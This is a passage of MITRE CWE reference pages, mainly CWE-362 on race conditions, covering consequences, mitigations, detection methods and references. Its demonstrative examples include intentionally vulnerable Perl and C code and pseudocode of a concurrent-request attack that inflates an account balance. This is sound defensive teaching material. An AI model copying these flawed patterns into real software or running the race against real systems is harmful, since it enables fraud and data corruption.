MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 722 OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 753 2009 Top 25 - Porous Defenses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 975 SFP Secondary Cluster: Architecture
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1413 Comprehensive Categorization: Protection Mechanism Failure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1441 OWASP Top Ten 2025 Category A06:2025 - Insecure Design
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
OWASP Top Ten 2004 A1 CWE More Specific Unvalidated Input
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 23, "Client-Side Security Is an Oxymoron" Page 687. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2007-05-07
(CWE Draft 6, 2007-05-07) 		CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Detection_Factors, Observed_Examples, Potential_Mitigations, Relationships
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Type
2022-10-13 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Observed_Examples, References, Relationships
2022-04-28 CWE Content Team MITRE
updated Research_Gaps
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2018-03-27 CWE Content Team MITRE
updated References
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Relationships
2010-12-13 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated References
2009-10-29 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description
2009-07-27 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Client-Side Enforcement of Server-Side Security
2009-01-12 Design Principle Violation: Client-Side Enforcement of Server-Side Security
Back to top

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Diagram for CWE-362
+ Extended Description

A race condition occurs within concurrent environments, and it is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

  • Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
  • Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity.

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.

+ Alternate Terms
Race Condition
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

Scope: Availability

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion.

DoS: Crash, Exit, or Restart; DoS: Instability

Scope: Availability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the product(s) into unexpected states, possibly resulting in a crash.

Read Files or Directories; Read Application Data

Scope: Confidentiality, Integrity

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).

Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity; Bypass Protection Mechanism

Scope: Access Control

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Architecture and Design
Use thread-safe capabilities such as the data access abstraction in Spring.

Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Implementation
When using multithreading and operating on shared variables, only use thread-safe functions.

Implementation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Implementation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Implementation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Implementation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Implementation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 662 Improper Synchronization
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 364 Signal Handler Race Condition
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 366 Race Condition within a Thread
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 367 Time-of-check Time-of-use (TOCTOU) Race Condition
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 368 Context Switching Race Condition
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 421 Race Condition During Access to Alternate Channel
ParentOf Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. 689 Permission Race Condition During Resource Copy
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1223 Race Condition for Write-Once Attributes
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1298 Hardware Logic Contains Race Conditions
CanFollow Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 662 Improper Synchronization
CanPrecede Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 416 Use After Free
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 476 NULL Pointer Dereference
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 367 Time-of-check Time-of-use (TOCTOU) Race Condition
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Java (Sometimes Prevalent)

Technologies

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

(bad code)
Example Language: Perl 
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();

if ($transfer_amount < 0) {
FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

(attack code)
Example Language: Other 
In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().



Example 2


The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language: C 
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language: C 
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}


Example 3


Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.
Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.
Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys
Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted.
TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed
Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237].
Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
Race condition during initialization triggers a buffer overflow.
Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
chain: race condition triggers NULL pointer dereference
Race condition in library function could cause data to be sent to the wrong process.
Race condition in file parser leads to heap corruption.
chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
chain: race condition for an argument value, possibly resulting in NULL dereference
Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476)
Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Black Box
Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box
Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness: Moderate

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Fuzz Tester
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 743 CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 852 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 867 2011 Top 25 - Weaknesses On the Cusp
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 877 CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 882 CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 988 SFP Secondary Cluster: Race Condition Window
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1142 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1376 ICS Engineering (Construction/Deployment): Security Gaps in Commissioning
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1401 Comprehensive Categorization: Concurrency
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1441 OWASP Top Ten 2025 Category A06:2025 - Insecure Design
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Race Conditions
The CERT Oracle Secure Coding Standard for Java (2011) VNA03-J Do not assume that a group of calls to independently atomic methods is atomic
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[REF-349] Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01.
<https://drdobbs.com/cpp/volatile-the-multithreaded-programmers-b/184403766>. (URL validated: 2023-04-07)
[REF-350] Steven Devijver. "Thread-safe webapps using Spring".
<https://web.archive.org/web/20170609174845/http://www.javalobby.org/articles/thread-safe/index.jsp>. (URL validated: 2023-04-07)
[REF-351] David Wheeler. "Prevent race conditions". 2007-10-04.
<https://www.ida.liu.se/~TDDC90/literature/papers/SP-race-conditions.pdf>. (URL validated: 2023-04-07)
[REF-352] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". 1995-09.
<https://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/ucd-ecs-95-08.pdf>. (URL validated: 2023-04-07)
[REF-353] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03.
<https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html>. (URL validated: 2023-04-07)
[REF-354] Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002-04.
<https://www.blakewatts.com/blog/discovering-and-exploiting-named-pipe-security-flaws-for-fun-and-profit>. (URL validated: 2023-04-07)
[REF-355] Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications".
<http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf>.
[REF-356] "Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection.
<https://web.archive.org/web/20081010155022/http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>. (URL validated: 2023-04-07)
[REF-357] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26.
<https://web.archive.org/web/20100530231203/http://blogs.sans.org:80/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/>. (URL validated: 2023-04-07)
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14.
<https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. (URL validated: 2023-04-07)
[REF-1237] CERT Coordination Center. "Intel BIOS locking mechanism contains race condition that enables write protection bypass". 2015-01-05.
<https://www.kb.cert.org/vuls/id/766164/>.
[REF-1479] Gregory Larsen, E. Kenneth Hong Fong, David A. Wheeler and Rama S. Moorthy. "State-of-the-Art Resources (SOAR) for Software Vulnerability Detection, Test, and Evaluation". 2014-07.
<https://www.ida.org/-/media/feature/publications/s/st/stateoftheart-resources-soar-for-software-vulnerability-detection-test-and-evaluation/p-5061.ashx>. (URL validated: 2025-09-05)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2010-04-30 Martin Sebor Cisco Systems, Inc.
Provided Demonstrative Example
2024-02-29
(CWE 4.16, 2024-11-19) 		Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Observed_Examples, Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated Detection_Factors, References
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Affected_Resources
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Description, Diagram, Modes_of_Introduction
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description
2022-10-13 CWE Content Team MITRE
updated Observed_Examples, References
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-04-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-10-28 CWE Content Team MITRE
updated Observed_Examples, References
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, References, Research_Gaps, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships
2012-05-11 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2010-12-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2010-09-27 CWE Content Team MITRE
updated Observed_Examples, Potential_Mitigations, Relationships
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References
